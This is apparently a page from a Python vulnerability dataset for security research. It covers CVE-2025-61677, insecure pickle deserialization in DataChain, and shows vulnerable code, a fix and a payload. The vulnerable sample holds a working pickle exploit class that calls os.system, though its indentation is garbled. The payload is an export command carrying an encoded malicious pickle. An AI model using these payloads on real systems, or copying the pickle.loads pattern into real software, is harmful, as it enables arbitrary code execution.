VAITP Dataset

← Back to the dataset

CVE-2025-61677

Insecure deserialization in DataChain via environment variables allows RCE.

  • CVSS 2.5
  • CWE-502
  • Input Validation and Sanitization
  • Local

DataChain is a Python-based AI-data warehouse for transforming and analyzing unstructured data. Versions 0.34.1 and below allow for deseriaization of untrusted data because of the way the DataChain library reads serialized objects from environment variables (such as DATACHAIN__METASTORE and DATACHAIN__WAREHOUSE) in the loader.py module. An attacker with the ability to set these environment variables can trigger code execution when the application loads. This issue is fixed in version 0.34.2.

CVSS base score
2.5
Published
2025-10-03
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Timing/Serialization
Code defect classification
Serialization Issues
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
DataChain
Fixed by upgrading
Yes

Solution

Upgrade DataChain to version 0.34.2 or later.

Vulnerable code sample

import os
import pickle
import base64

# This represents the vulnerable code in loader.py before the fix.
# It unsafely deserializes data from an environment variable.
def load_config_from_env():
    """
    Loads configuration from environment variables.
    This function is vulnerable because it uses pickle.loads on untrusted input.
    """
    config = {}
    warehouse_setting = os.getenv("DATACHAIN__WAREHOUSE")

    if warehouse_setting:
        try:
            # VULNERABLE LINE: Unsafe deserialization of data from an env var.
            # An attacker can craft a serialized object that executes code when loaded.
            decoded_setting = base64.b64decode(warehouse_setting)
            config['warehouse'] = pickle.loads(decoded_setting)
            print("Configuration for 'warehouse' loaded."):
            except Exception as e:
                print(f"Failed to load warehouse config: {e}")

                return config

# The following code demonstrates how an attacker would exploit this vulnerability.
# This part would be executed by an attacker to set up the environment
# before the vulnerable application runs.
                class RCE:
                    """
                    A malicious class designed to execute a command upon deserialization.
                    """
                    def __reduce__(self):
                        """Vulnerable function that demonstrates the security issue."""
        # This method is called by pickle when unpickling an object of this class.
        # It returns a tuple: (callable, (arguments for the callable, ...)):
        # Here, we're telling pickle to call os.system with our command.
                        command = 'echo ">>> PWNED! Arbitrary code execution successful. <<<"'
                        return (os.system, (command,))

                        if __name__ == '__main__':
                            print("--- Attacker's Setup ---")
    
    # 1. Create an instance of the malicious payload class.
                            malicious_payload = RCE()
    
    # 2. Serialize the malicious object using pickle.
                            serialized_payload = pickle.dumps(malicious_payload)
    
    # 3. Encode the serialized payload in base64 to safely store it in an env var.
                            encoded_payload = base64.b64encode(serialized_payload)
    
    # 4. Set the environment variable that the vulnerable application will read.
                            os.environ['DATACHAIN__WAREHOUSE'] = encoded_payload.decode('utf-8')
                            print("Malicious payload set in DATACHAIN__WAREHOUSE environment variable.\n")
    
                            print("--- Vulnerable Application Startup ---")
                            print("Application is now loading its configuration...")
    
    # 5. Run the vulnerable function, which will read the env var and trigger the RCE.
                            loaded_config = load_config_from_env()
    
                            print("\n--- Application Post-Loading ---")
                            print("Configuration loading finished.")
    # The malicious code has already executed at this point.

Patched code sample

# loader.py (Fixed Version)

import os
import json

def load_from_env(env_var_name):
    """
    Safely loads configuration from an environment variable using JSON.

    This function replaces the vulnerable practice of deserializing pickle objects
    from environment variables. By using json.loads(), we ensure that only
    data (strings, numbers, lists, dicts) is parsed, and no arbitrary code
    can be executed. This mitigates the risk of RCE from a compromised
    environment variable.
    """
    config_str = os.environ.get(env_var_name)
    if not config_str:
        return None

    try:
        # FIX: Use json.loads() for safe deserialization of data.
        # This is the core of the fix for CVE-2025-61677. It prevents
        # an attacker from executing code by supplying a malicious
        # serialized object, as JSON does not support executing code.
        config = json.loads(config_str)
        return config
    except json.JSONDecodeError:
        # Handle cases where the environment variable contains malformed JSON.
        # This prevents the application from crashing and provides a clear error.
        print(f"Error: Invalid JSON format in environment variable '{env_var_name}'.")
        # In a real application, this might raise an exception or log to a file.
        return None

def get_datachain_config():
    """
    Loads the main application configuration by safely reading from environment variables.
    """
    # Load configurations safely using the fixed function
    metastore_config = load_from_env('DATACHAIN__METASTORE')
    warehouse_config = load_from_env('DATACHAIN__WAREHOUSE')

    return {
        'metastore': metastore_config,
        'warehouse': warehouse_config,
    }

# Example of how the application would use the fixed loader
if __name__ == '__main__':
    # In a vulnerable scenario (using pickle.loads), an attacker could set:
    # export DATACHAIN__WAREHOUSE="gASVGAAAAAAAAACMCGRpbGwuX2RpbGzHAAAAA....=" # Malicious pickled object
    #
    # To test the fix, an attacker might set a benign or malicious JSON string:
    # export DATACHAIN__WAREHOUSE='{"host": "localhost", "port": 5432, "user": "admin"}'
    #
    # Even if an attacker tries to embed something malicious, it will be treated as a string:
    # export DATACHAIN__WAREHOUSE='{"exploit": "__import__(\'os\').system(\'echo pwned\')"}'
    #
    # With this fixed JSON-based loader, the above is safely parsed as a dictionary
    # with a single key-value pair, and no code is executed.

    print("Attempting to load configuration safely...")
    config = get_datachain_config()

    if config.get('warehouse'):
        print("Successfully loaded warehouse configuration:")
        print(config['warehouse'])
    else:
        print("Warehouse configuration not found or was invalid.")

    if config.get('metastore'):
        print("Successfully loaded metastore configuration:")
        print(config['metastore'])
    else:
        print("Metastore configuration not found or was invalid.")

Payload

export DATACHAIN__METASTORE='gASVIQAAAAAAAACMCGRpbGwuX2RpbGycopSMAnBvc2l4lIwGc3lzdGVtlJOUjBF0b3VjaCAvdG1wL3B3bmVkoZWULg=='

Cite this entry

@misc{vaitp:cve202561677,
  title        = {{Insecure deserialization in DataChain via environment variables allows RCE.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-61677},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-61677/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::